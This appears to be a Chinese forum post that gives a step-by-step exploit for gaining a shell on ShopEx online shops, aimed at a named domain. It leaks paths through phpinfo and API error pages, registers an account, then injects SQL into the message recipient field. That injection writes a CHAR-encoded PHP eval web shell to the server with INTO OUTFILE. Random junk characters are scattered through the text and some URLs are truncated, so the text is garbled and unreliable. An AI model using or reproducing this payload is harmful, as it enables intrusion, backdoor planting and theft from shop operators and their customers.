shopex前台普通用户getshell最新漏洞

admin

第一个：想办法找到目标网站的绝对路径

! t8 y/ D) r5 c9 t5 j" j/ z: Shttp://www.political-security.com/install/svinfo.php?phpinfo=true
. Y1 z( b$ m7 r/ o& @" p- |  A$ g
8 g7 p% s9 V6 ~0 }  H* C6 uhttp:/www.political-security.com/core/api/shop_api.php
5 \: p+ V* O3 P' H8 u
. x$ \2 E/ ?( J/ {% X* x5 Y& `. yhttp://www.political-security.co ... api_b2b_2_0_cat.php
" t6 V! m' \, N4 A# H4 X
http://www.political-security.com/core/ap ... b_2_0_goodstype.php

/ C  L* k; J9 _% u, I/ q' M+ z! c' fhttp://www.political-security.co ... i_b2b_2_0_brand.php
) y  u$ l3 A/ m$ \. L; |  ^  ^- f7 W第二个：注册一个普通用户
; T6 q' E. Z! h0 i
9 d$ H# h% y0 T1 j& `http://www.political-security.com/?passport-signup.html

第三个： 发送消息
- z4 l# V7 I4 f# \) ?+ d* V$ ?/ t
http://www.political-security.com/?member-send.html
发送给中填写
+ q+ b8 }6 f% W9 L  vantian365.com' union select  CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php'  #